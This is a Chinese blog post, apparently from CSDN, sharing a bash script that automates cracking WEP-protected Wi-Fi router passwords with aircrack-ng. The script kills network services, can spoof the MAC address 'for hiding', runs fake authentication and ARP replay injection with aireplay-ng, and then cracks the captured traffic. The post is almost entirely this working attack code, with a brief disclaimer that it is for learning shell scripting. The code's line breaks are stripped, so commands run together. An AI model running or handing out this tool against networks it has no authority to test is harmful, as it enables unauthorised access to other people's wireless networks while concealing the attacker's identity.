（原创）Shell脚本，调用Aircrack-ng破解WEP加密的无线路由密码

一小段bash代码，调用系统中已安装的aircrack-ng破解WEP加密的无线路由密码，可选择是否改变MAC地址，用于隐藏。如需改变MAC地址，需安装macchanger。

脚本用于Linux系统中，用的是bash shell。

项目主页： https://sourceforge.net/projects/aircrackwep/

有什么意见建议欢迎留言或者到项目主页上留言，谢谢！

写这个脚本只是供学习shell编程用，请注意使用方式，发生任何问题，与作者无关。

CSDN的插入代码中没有shell的高亮，只好选择C#格式的了，见谅！

#!/bin/bashecho "###############################################"echo "# This script is used to crack WEP password #"echo "# of Wi-Fi Access Points. #"echo "# Depends on: aircrack-ng #"echo "# macchanger #"echo "# PS. If you don't need to change your MAC #"echo "# address, macchanger is not essential. #"echo "# Version: 1.1 #"echo "# Homepage: #"echo "# https://sourceforge.net/projects/aircrackwep#"echo "# By: Chen Zhidong #"echo "# From: NanJing University of Technology #"echo "# Email: [e-mail] #"echo "###############################################"echo ""#Killing processes that could cause trouble firstecho -e "Killing processes that could cause trouble.../n"sudo killall NetworkManagersudo killall NetworkManagerDispatchersudo killall wpa_supplicantsudo killall avahi-daemonecho ""#making a dir to store crack filesif [ -d ./Aircrack-Output ]; thenecho > /dev/nullelsemkdir "Aircrack-Output"ficd "Aircrack-Output"#choose your interface and start airmon-ngread -p "Enter the interface you want to use: " interfacesudo airmon-ng start $interfaceclear#MAC settingtrue=`macchanger -s wlan0 | sed 's/Current/ MAC: //' | sed 's/(.*)//'`read -p "Your true MAC address of $interface is $true, do you want to change it?(y/N)" macsetsatisfy="n"wifi="n"until [ $wifi = y ];docase $macset in( y|Y )until [ $satisfy = y ]; do#choose random or notclearread -p "Do you want a random MAC address?(Y/n)" randomcase $random in( n|N )clearecho "Since you want to set MAC address by pointed, please provide a MAC address:"read hmacecho "Setting the MAC address to $hmac..."sudo ifconfig $interface downsudo macchanger -m $hmac $interfacesudo ifconfig $interface up;;*)echo "Setting random MAC address..."sudo ifconfig $interface downsudo macchanger -r $interfacesudo ifconfig $interface up;;esac#whether satisfyclearecho "$interface is in `sudo macchanger -s wlan0`"read -p "Do you like the address above?(y/N)" satisfycase $satisfy in( y|Y )satisfy="y"hmac=`macchanger -s wlan0 | sed 's/Current/ MAC: //' | sed 's/(.*)//'`sudo ifconfig mon0 downsudo macchanger -m $hmac mon0sudo ifconfig mon0 up;;*)satisfy="n";;esacdone;;*)echo "You are using true MAC address $true in $interface."hmac=`macchanger -s wlan0 | sed 's/Current/ MAC: //' | sed 's/(.*)//'`;;esac#confirm the MAC address settingclearecho -e "Wi-Fi Card Setting:/n/tInterface:/t/t$interface/n/tInterface's MAC:/t$hmac/n/nIs this correct?(Y/n)"read wificase $wifi in( n|N )wifi="n";;*)wifi="y";;esacdone#Starting airodump-ng for you to choose an access pointclearecho "Starting airodump-ng for you to choose an access point..."sudo xterm -hold -e "airodump-ng mon0" &#AP(Access Point) settingverifyap="n"until [ $verifyap = y ];doclearecho "Enter the BSSID of the access point:"read bssidecho "Enter the CHANNEL of the access point:"read channel#confirm the and AP settingclearecho -e "Access Point Setting:/n/tBSSID:/t/t$bssid/n/tChannel:/t$channel/n/nIs this correct?(Y/n)"read verifyapcase $verifyap in( n|N )verifyap="n";;*)verifyap="y";;esacdonesudo airmon-ng stop mon0sudo airmon-ng start $interface $channel#start airodump-ngclearecho "Starting airodump-ng..."sudo xterm -hold -e "airodump-ng -c $channel --bssid $bssid -w output mon0" &#fake authenticateecho "Trying to fake authenticate..."status="n"until [ $status = y ];doclearsudo aireplay-ng -1 0 -a $bssid -h $hmac mon0read -p "Sometimes fake authenticate may fail. Did you successfully faked authenticate?(Y/n)" statuscase $status in( n|N )status="n";;*)status="y";;esacdone#start requesting arp requestclearecho "Trying to start requesting arp request..."sudo xterm -hold -e "aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b $bssid -h $hmac mon0" &#start cracking when data got to more than 5000read -p "Press Enter to run aircrack-ng..." aircrackclearsudo aircrack-ng output*.cap#final step: kill processes and set defaultecho "Now we've got some cleanning work..."sudo killall xtermsudo airmon-ng stop mon0sudo ifconfig $interface downsudo macchanger -m $true $interfacesudo ifconfig $interface upsudo NetWorkManegerread -p "Do you want to delete crack files?(y/N)" delif [ $del = y -o $del = Y ]; thenecho "Deleting..."cd ..sudo rm -r "Aircrack-Output"ficlearecho -e "Done! /nFor more information, visit homepage of this project in SourceForge:/n/thttps://sourceforge.net/projects/aircrackwep/"exit 0#End